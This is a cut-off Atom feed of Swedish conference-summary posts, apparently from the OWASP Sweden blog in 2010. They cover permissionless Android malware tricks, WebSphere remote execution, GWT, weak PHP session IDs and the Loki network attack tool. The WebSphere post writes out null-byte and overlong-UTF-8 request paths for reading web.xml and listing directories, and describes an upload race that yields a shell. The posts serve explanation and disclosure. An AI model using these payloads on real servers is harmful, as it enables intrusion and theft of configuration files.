boot utan tillstånd&lt;/span&gt;&lt;br /&gt;Applikationer får inte begära att de ska startas vid omstart av telefonen. Specifikt så krävs &lt;span style="font-family: courier new;"&gt;receive_boot_complete&lt;/span&gt;-tillstånd. Men det tillståndet kollas inte!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Starta efter installation utan tillstånd&lt;/span&gt;&lt;br /&gt;Applikationer får allmänt inte starta automatiskt efter nedladdning. Därför förväntar sig inte användaren det utan kommer att tolka det som att Android OS:et ber om uppmärksamhet om något händer direkt efter att han/hon laddat ner en app.&lt;br /&gt;&lt;br /&gt;Tänk dig att du installerar en app från &lt;span style="font-style: italic;"&gt;Google Market&lt;/span&gt; som automatiskt startar en phising-attack som begär ditt lösenord. Det kan man åstadkomma genom att utnyttja hur &lt;span style="font-style: italic;"&gt;Google Analytics &lt;/span&gt;används. &lt;span style="font-style: italic;"&gt;Analytics&lt;/span&gt; ska nämligen få logga vad och hur du har laddat ner. Kolla Googles dokumentation, kopiera koden och peka ut din egen phising-app.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Internetaccess utan tillstånd&lt;/span&gt;&lt;br /&gt;En applikation måste be om tillstånd för att få kommunicera med Internet. Så kan attackerarens app göra det utan tillstånd? Jajamen. Låt oss börja med uppladdning av data.&lt;br /&gt;&lt;br /&gt;Appen har inte uppladdningstillstånd själv. Men det har webbläsaren och appen har rätt att öppna sidor via webbläsaren. Risken är dock att användaren upptäcker det och stänger av ("Ehh ... varför drogs webbläsaren igång och gick till den där skumma sidan?"). Så hur gör attackeraren? Jo, han/hon gör alla uppladdningar när telefonens skärm är släckt! Och så fort uppladdningen är klar så går webbläsaren vidare till exempelvis google.com så att det inte ser skumt ut när användaren startar skärmen igen.&lt;br /&gt;&lt;br /&gt;Nedladdning då?&lt;br /&gt;&lt;br /&gt;Ja, det går ju att hämta med webbläsaren. Alla filer lagras då på SD-kortet och där får appen läsa utan tillstånd. Men det skapar en massa notifieringar som användaren kommer se i en lista plus att det blir skumma filer som skräpar.&lt;br /&gt;&lt;br /&gt;Istället utnyttjar Androids funktionalitet för att mappa specialprotokoll med appar. T ex så startar geo:-protkollet &lt;span style="font-style: italic;"&gt;Google Maps&lt;/span&gt; direkt. Attackeraren kan deklarera och mappa sitt eget protokoll (&lt;span style="font-family: courier new;"&gt;android:scheme="nethack" adroid:host="data"&lt;/span&gt;) och anger sen bara nethack: istället för http i URL:en. Voilà -- nedladdning som skickar data direkt till appen!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2924370364030731938?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2924370364030731938/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2924370364030731938' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2924370364030731938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2924370364030731938'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/android-malware-utan-permissions.html' title='Android-malware utan permissions'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9170350215784577977</id><published>2010-07-31T02:27:00.008+02:00</published><updated>2010-08-03T22:04:44.153+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='websphere'/><category scheme='http://www.blogger.com/atom/ns#' term='null'/><category scheme='http://www.blogger.com/atom/ns#' term='säkerhet'/><category scheme='http://www.blogger.com/atom/ns#' term='axis'/><category scheme='http://www.blogger.com/atom/ns#' term='remote execution'/><title type='text'>Remote execution på WebSphere</title><content type='html'>Ed Schaller höll en intressant presentation om &lt;span style="font-style: italic;"&gt;remote execution&lt;/span&gt; på IBM WebSphere (WAS).&lt;br /&gt;&lt;br /&gt;WAS frontas typiskt av en webbserver såsom Apache eller IIS. Webbservern används för lastbalasering och felhantering. Den kommunicerar i sin tur med WAS via en &lt;a href="http://www.ibm.com/developerworks/websphere/library/techarticles/0310_cocasse/cocasse.html"&gt;webbserver-plugin&lt;/a&gt; över http. Men inte alla request skickas vidare.&lt;br /&gt;&lt;br /&gt;Webservern utgår från url-mappnignar i &lt;span style="font-family:courier new;"&gt;web.xml&lt;/span&gt; och &lt;span style="font-family:courier new;"&gt;ibm-web-ext.xmi&lt;/span&gt;. Om en match hittas så skickas requestet vidare, annars hanteras det av webbservern själv.&lt;br /&gt;&lt;br /&gt;&lt;span style=" font-weight: bold;font-family:arial;"&gt;JSP:er och null&lt;/span&gt;&lt;br /&gt;WAS och andra applikationsservrar översätter jsp till Java, kompilerar och kör det som en servlet. Det fungerar normalt även runtime och jsp:er komplieras först när de efterfrågas.&lt;br /&gt;&lt;br /&gt;Det gör att webbservern alltid skickar jsp-request vidare eftersom appservern måste få en chans att kolla om den finns och kompilera den.&lt;br /&gt;&lt;br /&gt;Så hur tolkas null i den här översättningen från jsp till Java till bytekod? Jo, det visar sig att WAS accepterar null men i accessen till det underliggande filsystemet så termineras strängen vid null. På det viset kan man fejka att man vill nå en jsp men i själva verket peka ut en annan fil. Så här:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctxroot/path_till_filen&amp;#37;00.jsp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Det kommer läsa upp den fil attackeraren har anget så länge den finns i den exploderade war:en. Det måste dessutom vara en korrekt jsp. Jobbigt? Nja, i princip allt som inte innehåller &lt;% är en korrekt jsp. T ex textfiler, html, xml, de flesta zip-filer och så vidare.  Intressant nog visare det sig att om attackeraren anger en katalog istället för en fil så får han/hon en kataloglistning. Så här:&lt;div&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;ctxroot/dir/&amp;#37;00.jsp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctxroot/.&amp;#37;00.jsp &lt;/span&gt;(extra punkt för att komma åt kontextroten)&lt;br /&gt;&lt;br /&gt;&lt;span style=" font-weight: bold;font-family:arial;"&gt;Web Server Plugin&lt;/span&gt;&lt;br /&gt;OK, null gick bra att att skicka till WAS:en men hur går det med den framförliggande webbservern? Pluginen är skriven i C och terminerar därför vid null, dvs &lt;span style="font-family:courier new;"&gt;text.txt.jsp&lt;/span&gt; blir &lt;span style="font-family:courier new;"&gt;text.txt&lt;/span&gt;. Tillbaka på ruta &lt;span style="font-style: italic;"&gt;null&lt;/span&gt; så att säga.&lt;br /&gt;&lt;br /&gt;Men vi kanske kan lura webbservern med teckenkodning? Java lagrar strängar i UTF-16 internt men tolkar inkommande strängar som UTF-8. Men web server-pluginen förstår inte lång UTF-8. Därtill har IBMs jvm haft en allvarlig bugg i hantering av så kallad &lt;span style="font-style: italic;"&gt;overly long UTF-8&lt;/span&gt; som är fixad i de senaste patcharna. På det viset kan man injicera UTF-8 som webbserver-pluginen inte förstår och som jvm:en sen misstolkar som null. Tecknet är &lt;span style="font-family:courier new;"&gt;%C0%80&lt;/span&gt; vilket &lt;a href="http://tldp.org/HOWTO/Secure-Programs-HOWTO/character-encoding.html"&gt;tolkas som ASCII &lt;span style="font-family:courier new;"&gt;null&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Med dubbelpunkt kan man dessutom komma åt WEB-INF-katalogen och kodningen för dubbelpunkt i UTF-8 är &lt;span style="font-family:courier new;"&gt;%C0%AE&lt;/span&gt;. Totalt sett så här:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;ctxroot/%C0%AE/WEB-INF/web.xml%C0%80.jsp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;… för att komma åt web.xml.&lt;br /&gt;&lt;br /&gt;&lt;span style=" font-weight: bold;font-family:arial;"&gt;Axis och bilagor&lt;/span&gt;&lt;br /&gt;Men attackeraren vill inte bara läsa filer utan också få till &lt;span style="font-style: italic;"&gt;remote execution&lt;/span&gt;. Så han/hon måste få in en jsp-fil i den exploderade war:en. Här vänder vi oss till det populära &lt;a href="http://ws.apache.org/axis/"&gt;Axis-ramverket&lt;/a&gt; för web services.&lt;br /&gt;&lt;br /&gt;Man kan nämligen ha bilagor (&lt;span style="font-style: italic;"&gt;attachments&lt;/span&gt;) i sin SOAP. Om man lägger bilagan före SOAP:en och dessutom refererar den i SOAP:en, t ex med en &lt;span style="font-family:courier new;"&gt;href&lt;/span&gt;, så kommer Axis ladda bilagan som fil och cache:a den … i war:en!&lt;br /&gt;&lt;br /&gt;Men då måste attackeraren kunna kommunicera med en &lt;span style="font-style: italic;"&gt;web service&lt;/span&gt; väl? Nej. &lt;span style="font-style: italic;"&gt;Web services&lt;/span&gt; tillåter att klienten skickar ett &lt;span style="font-style: italic;"&gt;SOAP Fault&lt;/span&gt; det första den gör. Och då kommer Axis hantera det oavsett om det finns någon &lt;span style="font-style: italic;"&gt;web service&lt;/span&gt; som det kan ha gått fel i. &lt;span style="font-style: italic;"&gt;SOAP Fault&lt;/span&gt; är kodade på samma sätt som vanlig SOAP så tricket med bilagan funkar bra.&lt;br /&gt;&lt;br /&gt;Bilagan rensas av cache-hanteraren så det uppstår en så kallad &lt;span style="font-style: italic;"&gt;race condition&lt;/span&gt; där attackeraren måste hinna använda den uppladdade jsp:n innan den tas bort.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Allt det här demade Ed på plats. Japp, skal med användaren wasadmin blev det.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=" font-weight: bold;font-family:arial;"&gt;Fix?&lt;/span&gt;&lt;br /&gt;Alla moderna versioner av WebSphere (6 och framåt) har så kallade fixpack för det här problemet. Ed har varit noga med att rapportera det på rätt sätt. Coolast var att IBM ordnade en patch på två veckor för alla de 60 varianter som var sårbara. Det är respekt.&lt;br /&gt;&lt;br /&gt;Men om man kör en opatchad WebSphere så är man alltså sårbar.&lt;br /&gt;&lt;br /&gt;Ed tyckte också man skulle överväga att stänga av runtime-kompilering och omladdning av jsp:er (&lt;span style="font-family:courier new;"&gt;disableJspRuntimeCompilation&lt;/span&gt;).&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9170350215784577977?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9170350215784577977/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9170350215784577977' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9170350215784577977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9170350215784577977'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/remote-execution-pa-websphere.html' title='Remote execution på WebSphere'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5171967240609376767</id><published>2010-07-30T09:00:00.000+02:00</published><updated>2010-07-30T09:00:05.676+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GWT'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Web Toolkit'/><category scheme='http://www.blogger.com/atom/ns#' term='säkerhet'/><title type='text'>Säkerhet i GWT</title><content type='html'>&lt;a href="http://code.google.com/intl/sv-SE/webtoolkit/overview.html"&gt;Google Web Toolkit&lt;/a&gt; (GWT) låter utvecklare bygga klienttunga webbapplikationer i Java. De kompileras sen till effektiv JavaScript. Frågan är dock om utvecklare känner till vad som händer under huven och hur det påverkar säkerheten? Spider Labs har rotat i den frågan.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Genererad JavaScript&lt;/span&gt;&lt;br /&gt;GWT kan generera JavaScript i tre varianter – &lt;span style="font-style: italic;"&gt;pretty&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;detailed&lt;/span&gt; och &lt;span style="font-style: italic;"&gt;obfuscated&lt;/span&gt;. &lt;span style="font-style: italic;"&gt;Pretty&lt;/span&gt; är helt enkelt trevlig, läsbar kod lämplig under utveckling. &lt;span style="font-style: italic;"&gt;Detailed&lt;/span&gt; är JavaScript med identifierare som återger exakt vad det var i Java, t ex klassnamn med hela pakettillhörigheten. Inte lätt att läsa men väldigt informativt.&lt;br /&gt;&lt;br /&gt;Obfuskering är påslaget default (stäng inte av det för produktionskod) och görs på följande sätt:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Variabel-, klass- och metodnamn är förkortade (aa, ab, ac, … zx, zy, zz …)&lt;/li&gt;&lt;li&gt;Statiska strängar flyttas till globala variabler&lt;/li&gt;&lt;li&gt;Onödig &lt;span style="font-style: italic;"&gt;whitespace&lt;/span&gt; tas bort&lt;/li&gt;&lt;li&gt;Alla funktioner sorteras i storleksordning. Det är oklart varför men enligt Google kan det ge bättre kompression när koden skickas över nätet.&lt;/li&gt;&lt;/ul&gt;Relativ kodstorlek:&lt;br /&gt;100 % &lt;span style="font-style: italic;"&gt;obfuscated&lt;/span&gt;&lt;br /&gt;200 % &lt;span style="font-style: italic;"&gt;pretty&lt;/span&gt;&lt;br /&gt;700 % &lt;span style="font-style: italic;"&gt;detailed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Inga privata metoder&lt;/span&gt;&lt;br /&gt;En liten detalj värd att notera är att privata metoder inte längre är privata i den genererade JavaScript-koden. Det har inga egentliga säkerhetsimplikationer men pekar på det faktum att Google har prioriterat prestanda och komprimerad kod framför att bibehålla maximalt med egenskaper i konverteringen till JavaScript. Det verkar alltså inte använda Crockfords designmönster &lt;a href="http://ajaxian.com/archives/a-javascript-module-pattern"&gt;Module Pattern&lt;/a&gt; som möjliggör privata metoder JavaScript.&lt;br /&gt;&lt;br /&gt;Enligt Spider Labs så hittas de flesta säkerhetsfelen i webbappar i rpc-gränssnitt (&lt;span style="font-style: italic;"&gt;remote procedure call&lt;/span&gt;). Se därför dina rpc-anrop som http-request och säkra dem på samma sätt (autentisering, csrf-skydd …).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Deobfuskering av genererad JavaScript&lt;/span&gt;&lt;br /&gt;För en attackerare eller pentestare är det naturligtvis intressant att få klientkoden i ett läsbart skick. Spider Labs har därför byggt en deobfuskator – REGWT – utifrån &lt;a href="http://www.mozilla.org/rhino/"&gt;Mozilla Rhino&lt;/a&gt;. Den intressantaste delen i deobfuskeringsprocessen är hur de återskapar metodnamn genom metodsignaturer. De döper alla variabler till numrerade standardnamn (field_3 osv), formatterar koden och beräknar sen en hash på det hela. Den kan jämföras med hashen för kända Java-metoder och på så sätt kan man återskapa en hel del av koden.&lt;br /&gt;&lt;br /&gt;Verktyget ska släppas till helgen. Kolla efter REGWT på &lt;a href="https://www.trustwave.com/spiderLabs-tools.php"&gt;deras webbsida&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5171967240609376767?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5171967240609376767/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5171967240609376767' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5171967240609376767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5171967240609376767'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/sakerhet-i-gwt.html' title='Säkerhet i GWT'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1605599262570919868</id><published>2010-07-30T00:47:00.004+02:00</published><updated>2010-07-30T00:51:24.879+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='sessions-id'/><category scheme='http://www.blogger.com/atom/ns#' term='session hijacking'/><category scheme='http://www.blogger.com/atom/ns#' term='pseudoslump'/><category scheme='http://www.blogger.com/atom/ns#' term='entropi'/><title type='text'>PHP-sessioner sårbara</title><content type='html'>Samy Kamkar, killen bakom MySpace-masken och XSS håller precis en väldigt underhållande presentation. Han har bland annat slaktat PHP-sessioner ...&lt;br /&gt;&lt;br /&gt;Målet för attacken är att ta över en inloggad persons session i en webbapplikation skriven i PHP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;session_start()&lt;/span&gt; initialiserar en PHP-session. Samy har analyserat entropin i sessions-idt:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;32 bitar från din IP-adress&lt;/li&gt;&lt;li&gt;32 bitar från sekunder sen 1/1 1970&lt;/li&gt;&lt;li&gt;32 bitar från nuvarande antal mikrosekunder&lt;/li&gt;&lt;li&gt;64 bitar från pseudoslumpgeneratorn (PRNG, &lt;span style="font-style: italic;"&gt;pseudo random number generator&lt;/span&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Totalt 160 bitar, dvs jobbigt att brute force:a&lt;br /&gt;&lt;br /&gt;Men …&lt;br /&gt;&lt;ul&gt;&lt;li&gt;0 bitar från din IP-adress eftersom den knappast kan anses hemlig.&lt;/li&gt;&lt;li&gt;0 bitar från sekunder sen 1/1 1970 eftersom man kan polla tjänsten en gång i sekunden för att se exakt när du loggar på (typiskt sociala nätverk där din kompis loggar in)&lt;/li&gt;&lt;li&gt;20 bitar från nuvarande antal mikrosekunder eftersom det bara finns en miljon mikrosekunder!&lt;/li&gt;&lt;li&gt;64 bitar från PRNG&lt;/li&gt;&lt;/ul&gt;Totalt 84 bitar, inte lika jobbigt att brute force:a&lt;br /&gt;&lt;br /&gt;Men …&lt;br /&gt;&lt;br /&gt;Den enda slump som finns i en PRNG kommer från fröet. Resten är en predikterbar sekvens av siffror, lika varje gång fröet är lika. Just därför är det så allvarligt att PHP-utvecklarna har tabbat sig i fröberäkningen.&lt;br /&gt;&lt;br /&gt;Fröberäkningen XOR:ar tidpunkten för serverstarten i antalet sekunder sen 1/1 1970 med antalet mikrosekunder. Felet är att man mixar det helt slumpmässiga antalet mikrosekunder med den del av antalet sekunder sen 1/1 1970 som är variabelt (dvs den del som är någorlunda slumpmässig). Och eftersom det bara finns en miljon mikrosekunder så är fröet nu nere i 20 bitar entropi.&lt;br /&gt;&lt;br /&gt;Total entropi: 40 bitar&lt;br /&gt;&lt;br /&gt;Vidare med&lt;span style="font-style: italic;"&gt; time-space-tradeoff&lt;/span&gt; så behöver vi bara brute force:a hälften, dvs 20 bitar. Genomförbart inom sekunder med i snitt en halv miljon request till den sårbara tjänsten.&lt;br /&gt;&lt;br /&gt;Sen är PHP-sessionen övertagen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1605599262570919868?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1605599262570919868/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1605599262570919868' title='3 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1605599262570919868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1605599262570919868'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/php-sessioner-sarbara.html' title='PHP-sessioner sårbara'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8845031379964115949</id><published>2010-07-29T22:00:00.000+02:00</published><updated>2010-07-29T22:00:02.622+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='format string'/><category scheme='http://www.blogger.com/atom/ns#' term='historik'/><title type='text'>Historien om buffer overflows</title><content type='html'>Haroon Meer har tillbringat fantastiskt mycket tid åt att gå igenom historien bakom &lt;span style="font-style: italic;"&gt;buffer overflows&lt;/span&gt;, formatsträngsattacker och andra minnesattacker. Istället för att ens försöka återge hans snabba och underhållande presentation så länkar jag till hans &lt;a href="http://ilm.thinkst.com/folklore/index.shtml"&gt;interaktiva tidslinje&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8845031379964115949?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8845031379964115949/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8845031379964115949' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8845031379964115949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8845031379964115949'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/historien-om-buffer-overflows.html' title='Historien om buffer overflows'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-4458918938351388031</id><published>2010-07-29T21:00:00.001+02:00</published><updated>2010-07-29T21:00:03.830+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kina'/><category scheme='http://www.blogger.com/atom/ns#' term='it-säkerhet'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>Kinesiska hacker-communityn</title><content type='html'>Jag hann höra sammanfattningen av en presentation om hur den kinesiska hacker-communityn fungerar. Intressanta punkter:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Samarbetar i öppna forum&lt;/span&gt;&lt;br /&gt;Kineserna använder sällan dolda kanaler, IRC och så vidare. Istället så sker diskussioner tämligen öppet i vanliga nätfora. Med andra ord lätt sökbara.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Enkla GUI-verktyg&lt;/span&gt;&lt;br /&gt;Inom den kinesiska communityn så tar man ganska snabbt fram lättanvända, GUI-baserade verktyg för de allra senaste hacken, vissa gånger för helt okända hack. Det göder en stor volym &lt;span style="font-style: italic;"&gt;script kiddie&lt;/span&gt;-attacker från Kina. I västvärlden är sådana verktyg ovanliga.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Lätt att spåra upphovsmän&lt;/span&gt;&lt;br /&gt;Kinesiska hackers lämnar medvetet massor med spår i sina applikationer och verktyg. Det är med andra ord inte svårt att ta reda på vem eller vilken grupp som ligger bakom ett visst hack. Det skiljer sig från hackerkulturen i väst.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Vanligt med 0-days&lt;/span&gt;&lt;br /&gt;Det verkar vara ett onormalt antal 0-days i omlopp bland kinesiska hackers. Orsakerna kan vara flera.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Det går att tjäna pengar på nya hack i Kina, dvs hackers behöver inte gå utomlands för att profitera på sina alster.&lt;/li&gt;&lt;li&gt;Informationsutbytet mellan Kina och väst är sparsamt. Hackers umgås inte över den gränsen.&lt;/li&gt;&lt;li&gt;Principer för hur nya hack ska publiceras (&lt;span style="font-style: italic;"&gt;responsible/full disclosure&lt;/span&gt;) har inte fått fäste i Kina. Kanske för att principerna upplevs dåliga, kanske för att man inte riskerar särskilt stora problem för att ha släppt en 0-day.&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-4458918938351388031?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/4458918938351388031/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=4458918938351388031' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4458918938351388031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4458918938351388031'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/07/kinesiska-hacker-communityn.html' title='Kinesiska hacker-communityn'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1266581130962419769</id><published>2010-07-29T03:06:00.002+02:00</published><updated>2010-07-29T19:26:09.209+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='routing'/><category scheme='http://www.blogger.com/atom/ns#' term='BGP'/><category scheme='http://www.blogger.com/atom/ns#' term='verktyg'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='Nätverkssäkerhet'/><title type='text'>Loki – nytt verktyg för layer 3-attacker</title><content type='html'>Alla som utför pentester på nätverksnivå eller intresserar sig för säkerhet i nätverk (snarare än applikationer) bör kolla in nedanstående.&lt;br /&gt;&lt;br /&gt;Ett gäng duktiga nätverkshackare från ERNW har tagit fram ett nytt verktyg för attacker mot mot &lt;span style="font-style: italic;"&gt;network management&lt;/span&gt;-protokoll. Attackerna kan t ex injicera falsk routing-information som riktar om all trafik på ett helt nätverk till attackerarens dator. Där kan förstås allehanda saker såsom sniffning, &lt;span style="font-style: italic;"&gt;man-in-the-middle&lt;/span&gt; och vidare läckage ske.&lt;br /&gt;&lt;br /&gt;Sådana protokollattacker avfärdas ofta som teoretiska problem. Därför ville man ta fram ett enkelt verktyg för att visa på hur allvarliga dessa problem kan vara.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Andra verktyg&lt;/span&gt;&lt;br /&gt;Det finns sedan några verktyg men som tyvärr är väldigt komplicerade:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.phenoelit-us.org/irpas/"&gt;IRPAS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.yersinia.net/"&gt;yersinia&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.hping.org/"&gt;hping&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nemesis.sourceforge.net/"&gt;nemesis&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.secdev.org/projects/scapy/"&gt;scapy&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Det nya verktyget heter Loki (efter asaguden Loke). Det har ett GWT-GUI med flikar och är skrivet i Python. Loki förstår en massa protokoll som de tidigare verktygen inte förstår än. Totalt sett så presenterar de Loki som en "&lt;span style="font-style: italic;"&gt;Infrastructure protocol attack suite&lt;/span&gt;" :).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: 